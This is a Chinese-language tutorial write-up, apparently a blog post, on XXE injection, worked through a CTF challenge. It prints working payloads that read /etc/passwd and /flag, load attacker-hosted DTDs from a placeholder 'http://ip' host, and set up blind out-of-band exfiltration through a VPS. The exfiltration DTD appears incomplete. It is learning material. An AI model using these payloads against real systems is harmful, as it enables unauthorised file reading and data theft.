【xxe主看这个吧】xml --xxe 各种注入学习 也就一些基本的方法,再加一个 xxe盲注,vps外带的

目录:

    • 一、基础知识:
    • 二、注入方法:
      • 1. 直接通过DTD外部实体声明
      • 2. 通过DTD文档引入外部DTD文档,再引入外部实体声明
      • 3. 通过DTD外部实体声明引入 外部实体声明
    • 三、产生的危害:
      • 1. 读取任意文件
      • 2. XXE无回显使用vps外带

一、基础知识:

基础看这篇就好

二、注入方法:

借用的环境是这个buu的题:buu的[NCTF2019]Fake XML cookbook

1. 直接通过DTD外部实体声明

内部实体声明,应该是无法触发xxe漏洞的,所以我们用的应该都是 外部实体声明。也就是 SYSTEM 后面的东西都是外部的url的东西?。。不是呀,这个应该就不影响了,只是 system 后面的东西 不一样而已,

xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY adam SYSTEM "file:///etc/passwd">	
]>

有时候,可能flag是在PHP文件中,直接是看不到了,可以用PHP伪协议来读取。

xml version="1.0"?>
<!DOCTYPE test[
	<!ENTITY aa SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
]>

<user><username>&aa;</username><password>password</password></user>

【xxe主看这个吧】xml --xxe 各种注入学习 也就一些基本的方法,再加一个 xxe盲注,vps外带的_第1张图片

2. 通过DTD文档引入外部DTD文档,再引入外部实体声明

DOCTYPE是引入外部的DTD文件,通常是 引入约束文件。这里,我们引入了一个危险的外部实体,test.dtd

xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://ip/test/test.dtd">
<user><username>&b;</username><password>ad</password></user>

DOCTYPE是引入外部的DTD文件,通常是 引入约束文件。这里,我们引入了一个危险的外部实体,test.dtd

&name;调用的话,直接调用 最终的实体的名字,其他的不用管
在这里插入图片描述

test.dtd内容如下:

<!ENTITY b SYSTEM "file:///etc/passwd">

3. 通过DTD外部实体声明引入 外部实体声明

意思是 先写一个外部实体声明,然后 引用在 攻击者服务器上的外部实体声明,

doctype是用来声明dtd文件的, 而参数实体只能在DTD中使用,所以就是用了,

xml version="1.0"?>
<!DOCTYPE a [
	<!ENTITY % d SYSTEM "http://ip/test/test.dtd">
	%d;
]>
<user><username>&b;</username><password>ad</password></user>

注意,这里最有调用的名字,还是最终的实体的名字,b

【xxe主看这个吧】xml --xxe 各种注入学习 也就一些基本的方法,再加一个 xxe盲注,vps外带的_第2张图片

test.dtd中的内容:

<!ENTITY b SYSTEM "file:///etc/passwd">

支持的协议有哪些呢?
不同的程序支持的协议如下:
【xxe主看这个吧】xml --xxe 各种注入学习 也就一些基本的方法,再加一个 xxe盲注,vps外带的_第3张图片其中php支持的协议会更多一些,但需要一定的扩展支持

【xxe主看这个吧】xml --xxe 各种注入学习 也就一些基本的方法,再加一个 xxe盲注,vps外带的_第4张图片

三、产生的危害:

1. 读取任意文件

上述的三种方法展示的都是读取任意文件的情形。
直接引入DTD外部实体声明。
在这里插入图片描述

2. XXE无回显使用vps外带

在这里插入图片描述注意一定要用一个编码来读取,不一定非要是base64,因为一些配置文件的内容有一些符号,可能会是xml解析出错。

这里没有调用file。整个不用,因为我们在调用int或者send的时候,就会去找file,然后调用了就
test.dtd:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "">

这里没用监听的方法,直接看的是日志文件/var/log/apache2/access.log文件,
【xxe主看这个吧】xml --xxe 各种注入学习 也就一些基本的方法,再加一个 xxe盲注,vps外带的_第5张图片
外显的这个,参考的是这一个。

关于整个pvs外带的,
一些东西看这个:

你可能感兴趣的:(【xxe主看这个吧】xml --xxe 各种注入学习 也就一些基本的方法,再加一个 xxe盲注,vps外带的)